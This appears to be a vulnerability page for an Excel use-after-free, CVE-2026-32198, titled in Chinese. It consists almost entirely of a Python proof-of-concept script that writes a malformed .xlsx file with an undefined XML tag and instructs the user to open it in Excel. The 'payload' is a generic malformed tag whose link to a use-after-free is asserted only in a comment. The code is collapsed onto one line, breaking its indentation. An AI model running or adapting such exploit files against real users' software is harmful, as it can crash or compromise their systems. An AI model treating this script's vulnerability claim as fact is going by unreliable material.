CVE-2026-32198 Microsoft Office Excel释放后使用漏洞

import zipfile import os # Proof of Concept Generator for CVE-2026-32198 # This script creates a malformed Excel file structure to test the vulnerability. def generate_poc(filename="poc_cve_2026_32198.xlsx"): try: with zipfile.ZipFile(filename, 'w') as z: # Basic Content Types z.writestr('[Content_Types].xml', '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/></Types>') # Basic Rels z.writestr('_rels/.rels', '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>') # Malformed XML content to trigger parsing anomaly payload = """<?xml version="1.0"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="CVE_POC" sheetId="1" r:id="rId1"/> </sheets> <!-- Malformed tag potentially causing UAF --> <undefinedTag/> </workbook> """ z.writestr('xl/workbook.xml', payload) print(f"[+] PoC file generated: {filename}") print("[+] Open this file in Microsoft Office Excel to observe behavior.") except Exception as e: print(f"[-] Error generating PoC: {e}") if __name__ == "__main__": generate_poc()